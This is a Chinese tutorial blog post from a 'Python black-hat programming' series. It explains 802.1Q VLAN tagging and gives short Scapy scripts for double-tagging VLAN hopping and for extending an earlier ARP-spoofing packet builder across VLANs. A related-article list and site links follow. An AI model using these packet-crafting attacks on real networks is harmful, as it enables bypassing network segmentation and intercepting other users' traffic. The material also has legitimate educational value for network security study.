Python黑帽编程 3.4 跨越VLAN详解


Posted in Python onSeptember 28, 2016

VLAN(Virtual Local Area Network),是基于以太网交互技术构建的虚拟网络,既可以将同一物理网络划分成多个VALN,也可以跨越物理网络障碍,将不同子网中的用户划到同一个VLAN中。图2是一个VLAN划分的例子。

Python黑帽编程 3.4 跨越VLAN详解

图2

实现VLAN的方式有很多种,基于交换设备的VLAN划分,一般有两种:

l 基于交换机的端口划分

l 基于IEEE 802.1q协议,扩展以太网帧格式

基于第二层的VLAN技术,有个Trunking的概念,Trunking是用来在不同的交换机之间进行连接,以保证在跨越多个交换机上建立的同一个VLAN的成员能够相互通讯。其中交换机之间互联用的端口就称为Trunk端口。除了80.2.1q之外,思科有自己的Trunk协议叫ISL。

Python黑帽编程 3.4 跨越VLAN详解

图3

图3是802.1q的数据包,和普通的以太网帧并没有本质的区别,只是增加一个了VLAN Tag。红色部分的VLAN Identifier标识了一个数据包属于哪个VLAN,从而保证了数据广播的范围不会跨越VLAN。

现在做简单的思考,想要跨越VLAN通信,是不是只要修改数据包中的标识符就可以了呢?

3.4.1 VLAN Hopping

基于上面的分析,我们考虑一个简单的场景:跨VLANping,从Vlan1的一个主机发送一个ping请求到Vlan2中的一个主机。

在具体编码前,我们还是要先解决VLAN数据包构造的问题,在Scapy中我们使用Dot1Q类来构造图3中的Tag部分。如图4。

Python黑帽编程 3.4 跨越VLAN详解

图4

下面我们可以编写一个跨VLAN的ping请求了。

#!/usr/bin/python 
from scapy.all import * 
packet = Ether(dst="c0:d3:de:ad:be:ef") / \
Dot1Q(vlan=1) / \
Dot1Q(vlan=2) / \
IP(dst="192.168.13.3") / \
ICMP() 
sendp(packet)

上面的代码我们指定了目标主机的MAC和IP地址,添加了两个VLAN标识,第一个是发送数据的主机所在的VLAN,第二个是目标主机所在的VLAN。交换机会移除第一个标识,读到第二个标识的时候,会转发该数据包到目标主机。

3.4.2 跨VLAN的ARP欺骗

3.1、3.2和3.3节我们都在讨论ARP欺骗的问题,由于VLAN限制了广播域,我们之前的代码是无法跨VLAN进行ARP欺骗的。不过要解决这个问题也很简单,只需在我们之前构造的ARP欺骗数据中插入VLAN标识即可。下面这段代码是我们在3.1节构造ARP请求数据包的代码。

def build_req():
if options.target is None:
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
elif options.target:
target_mac = getmacbyip(options.target)
if target_mac is None:
print "[-] Error: Could not resolve targets MAC address"
sys.exit(1)
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
return pkt

在构造数据包的部分,我们插入VLAN标识:

pkt = Ether(src=mac, dst=target_mac) /Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

这样就可以实现跨VLAN的ARP欺骗了。

3.4.3 小结

本节主要讲了如何构造欺骗VLAN的数据包,达到跨VLAN数据通信和ARP欺骗的目的。需要注意的是,本文的方法主要针对802.1Q协议,对以端口进行物理隔离的的VLAN没有效果。

以上所述是小编给大家介绍的Python黑帽编程 3.4 跨越VLAN详解,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

Python 相关文章推荐
python中文编码问题小结
Sep 28 Python
Python设计模式之观察者模式简单示例
Jan 10 Python
python中eval与int的区别浅析
Aug 11 Python
Python SSL证书验证问题解决方案
Jan 13 Python
Python中join()函数多种操作代码实例
Jan 13 Python
基于tensorflow指定GPU运行及GPU资源分配的几种方式小结
Feb 03 Python
python生成13位或16位时间戳以及反向解析时间戳的实例
Mar 03 Python
使用PyWeChatSpy自动回复微信拍一拍功能的实现代码
Jul 02 Python
opencv 阈值分割的具体使用
Jul 08 Python
Python库安装速度过慢解决方案
Jul 14 Python
Python性能测试工具Locust安装及使用
Dec 01 Python
python 获取谷歌浏览器保存的密码
Jan 06 Python
python 采集中文乱码问题的完美解决方法
Sep 27 #Python
20招让你的Python飞起来!
Sep 27 #Python
python搭建虚拟环境的步骤详解
Sep 27 #Python
利用python发送和接收邮件
Sep 27 #Python
实现python版本的按任意键继续/退出
Sep 26 #Python
Linux 下 Python 实现按任意键退出的实现方法
Sep 25 #Python
利用Python为iOS10生成图标和截屏
Sep 24 #Python
You might like
php获取淘宝分类id示例
2014/01/16 PHP
php获取Google机器人访问足迹的方法
2015/04/15 PHP
PHP中抽象类和抽象方法概念与用法分析
2016/05/24 PHP
Docker 安装 PHP并与Nginx的部署实例讲解
2021/02/27 PHP
[推荐]javascript 面向对象技术基础教程
2009/03/03 Javascript
Extjs Ext.MessageBox.confirm 确认对话框详解
2010/04/02 Javascript
c#和Javascript操作同一json对象的实现代码
2012/01/17 Javascript
javascript将数组插入到另一个数组中的代码
2013/01/10 Javascript
jquery操作HTML5 的data-*的用法实例分享
2014/08/17 Javascript
九种原生js动画效果
2015/11/11 Javascript
基于jquery实现轮播特效
2016/04/22 Javascript
js输出数据精确到小数点后n位代码
2016/07/02 Javascript
微信小程序 wx:key详细介绍
2016/10/28 Javascript
js以分隔符分隔数组中的元素并转换为字符串的方法
2016/11/16 Javascript
JQueryEasyUI之DataGrid数据显示
2016/11/23 Javascript
鼠标点击input,显示瞬间的边框颜色,对之修改与隐藏实例
2016/12/26 Javascript
Bootstarp基本模版学习教程
2017/02/01 Javascript
基于javascript实现最简单选项卡切换
2017/02/01 Javascript
JavaScript实现的数字与字符串转换功能示例
2017/08/23 Javascript
VUE引入第三方js包及调用方法讲解
2019/03/01 Javascript
浅谈JS中几种轻松处理'this'指向方式
2019/09/16 Javascript
详细介绍解决vue和jsp结合的方法
2020/02/06 Javascript
[03:04]DOTA2超级联赛专访ZSMJ “莫名其妙”的逆袭
2013/05/23 DOTA
python编程开发之日期操作实例分析
2015/11/13 Python
Pandas探索之高性能函数eval和query解析
2017/10/28 Python
对python list 遍历删除的正确方法详解
2018/06/29 Python
python实现宿舍管理系统
2019/11/22 Python
Myprotein台湾官方网站:全球领先的运动营养品牌
2018/12/10 全球购物
司机辞职报告范文
2014/01/20 职场文书
创业者是否需要商业计划书?
2014/02/07 职场文书
《蚕姑娘》教学反思
2014/04/15 职场文书
高考励志标语
2014/06/05 职场文书
2015年上半年党建工作总结
2015/03/30 职场文书
工地食品安全责任书
2015/05/09 职场文书
教你用Java在个人电脑上实现微信扫码支付
2021/06/13 Java/Android
Nginx反向代理、重定向
2022/04/13 Servers